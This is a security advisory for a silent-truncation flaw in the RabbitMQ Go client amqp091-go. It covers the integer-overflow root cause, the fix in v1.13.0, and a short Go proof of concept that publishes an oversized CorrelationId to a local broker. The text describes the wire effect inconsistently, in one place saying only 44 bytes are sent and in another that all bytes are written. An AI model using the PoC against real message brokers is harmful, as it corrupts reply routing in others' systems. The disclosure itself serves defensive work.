criticalCVE-2026-77408Sep 17, 2026

CVE-2026-77408: amqp091-go Silent Data Truncation via shortstr Integer Overflow

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

The RabbitMQ Go client silently truncates message metadata fields longer than 255 bytes instead of returning an error, corrupting routing identifiers and breaking RPC correlation without any signal…

Packagegithub.com/rabbitmq/amqp091-go
Ecosystemgo
Affected< 1.13.0
Fixed in1.13.0

The problem

The writeShortstr function in write.go casts len(b) directly to uint8 before writing the length prefix onto the wire. Any string longer than 255 bytes wraps silently: a 300-byte value becomes a length of 44, and only those first 44 bytes are transmitted.

Nine standard AMQP publishing properties are affected: CorrelationId, ReplyTo, MessageId, Expiration, UserId, AppId, ContentType, ContentEncoding, and Type. No error is returned, so the caller has no indication that truncation occurred. In RPC patterns, this breaks reply routing permanently for any oversized correlation ID.

Proof of concept

A working proof-of-concept for CVE-2026-77408 in github.com/rabbitmq/amqp091-go, with the exact payload below.

go
package main

import (
	"fmt"
	amqp "github.com/rabbitmq/amqp091-go"
)

func main() {
	// Any shortstr property > 255 bytes triggers silent truncation.
	// 300 bytes: uint8(300) == 44, so only the first 44 bytes reach the broker.
	oversized := string(make([]byte, 300)) // 300 'null' bytes; substitute real attacker-controlled input

	conn, _ := amqp.Dial("amqp://guest:guest@localhost:5672/")
	ch, _ := conn.Channel()

	err := ch.Publish(
		"",      // exchange
		"queue", // routing key
		false,
		false,
		amqp.Publishing{
			CorrelationId: oversized, // length 300 -> wire length byte = 44 (300 % 256)
			Body:          []byte("trigger"),
		},
	)
	// err is nil on vulnerable versions; broker receives truncated CorrelationId
	fmt.Println("publish error (nil on vulnerable build):", err)
}

Go permits silent integer truncation during explicit type conversion: uint8(300) evaluates to 44 with no panic or error. The writeShortstr function used this truncated value as the wire-level length prefix, then wrote all len(b) bytes, but the receiver only reads the declared 44 bytes, leaving the stream misaligned for the remainder of the properties.

The patch (PR #354, commit 6959423) adds an upfront length guard that returns an error immediately when len(b) > 255, matching the AMQP 0.9.1 spec's hard limit for shortstr fields. CWE-190 (Integer Overflow or Wraparound) is the root cause; the fix promotes it from a silent data hazard to an explicit, catchable error.

The fix

Upgrade github.com/rabbitmq/amqp091-go to v1.13.0 or later. The patched writeShortstr now returns an error for any property value exceeding 255 bytes, so callers must validate or truncate oversized metadata before publishing. No workaround exists in earlier versions other than enforcing the 255-byte limit in application code before passing values to the library.

Reported by suchitd.

References: [1][2][3][4][5][6]

Related research